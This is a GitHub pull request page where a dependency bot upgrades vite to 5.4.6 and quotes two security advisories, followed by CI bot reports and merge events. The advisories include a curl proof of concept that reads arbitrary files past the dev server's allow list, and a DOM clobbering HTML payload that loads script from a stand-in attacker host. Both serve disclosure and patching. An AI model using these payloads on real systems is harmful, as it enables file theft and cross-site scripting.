chore(deps): update dependency vite to v5.4.6 [security] #482

gabe565-renovate · 2024-09-17T20:01:06Z

This PR contains the following updates:

Package	Type	Update	Change
vite (source)	dependencies	patch	`5.4.2` -> `5.4.6`

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

`v5.4.6`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.4.5`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.4.4`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.4.3`

Compare Source

Please refer to CHANGELOG.md for details.

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

socket-security · 2024-09-17T20:01:27Z

New and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package	New capabilities	Transitives	Size	Publisher
npm/vite@5.4.6	environment, eval, filesystem, network, shell, unsafe	`+59`	276 MB	vitebot

🚮 Removed packages: npm/vite@5.4.2

View full report↗︎

sonarqubecloud · 2024-09-17T20:01:32Z

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarCloud

cloudflare-workers-and-pages · 2024-09-17T20:01:46Z

Deploying mnemonic-ninja with Cloudflare Pages

Latest commit:	`71db86e`
Status:	✅ Deploy successful!
Preview URL:	https://f264fc94.mnemonic-ninja.pages.dev
Branch Preview URL:	https://renovate-npm-vite-vulnerabil.mnemonic-ninja.pages.dev

View logs

sonarqubecloud · 2024-12-20T23:53:31Z

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

gabe565-renovate bot requested a review from gabe565 as a code owner September 17, 2024 20:01

gabe565-renovate bot added dependencies Pull requests that update a dependency file npm patch labels Sep 17, 2024

gabe565-renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 01c7292 to 71db86e Compare December 20, 2024 23:50

chore(deps): update dependency vite to v5.4.6 [security]

99d3383

gabe565-renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 71db86e to 99d3383 Compare December 20, 2024 23:53

gabe565 merged commit 2c1df60 into main Dec 20, 2024
8 of 9 checks passed

gabe565 deleted the renovate/npm-vite-vulnerability branch December 20, 2024 23:53

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency vite to v5.4.6 [security] #482

chore(deps): update dependency vite to v5.4.6 [security] #482

gabe565-renovate bot commented Sep 17, 2024 •

edited

Loading

socket-security bot commented Sep 17, 2024 •

edited

Loading

sonarqubecloud bot commented Sep 17, 2024

cloudflare-workers-and-pages bot commented Sep 17, 2024 •

edited

Loading

sonarqubecloud bot commented Dec 20, 2024

chore(deps): update dependency vite to v5.4.6 [security] #482

chore(deps): update dependency vite to v5.4.6 [security] #482

Conversation

gabe565-renovate bot commented Sep 17, 2024 • edited Loading

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

Details

PoC

CVE-2024-45812

Summary

Details

PoC

Impact

Patch

Release Notes

v5.4.6

v5.4.5

v5.4.4

v5.4.3

Configuration

socket-security bot commented Sep 17, 2024 • edited Loading

sonarqubecloud bot commented Sep 17, 2024

Quality Gate passed

cloudflare-workers-and-pages bot commented Sep 17, 2024 • edited Loading

Deploying mnemonic-ninja with Cloudflare Pages

sonarqubecloud bot commented Dec 20, 2024

Quality Gate passed

gabe565-renovate bot commented Sep 17, 2024 •

edited

Loading

`v5.4.6`

`v5.4.5`

`v5.4.4`

`v5.4.3`

socket-security bot commented Sep 17, 2024 •

edited

Loading

cloudflare-workers-and-pages bot commented Sep 17, 2024 •

edited

Loading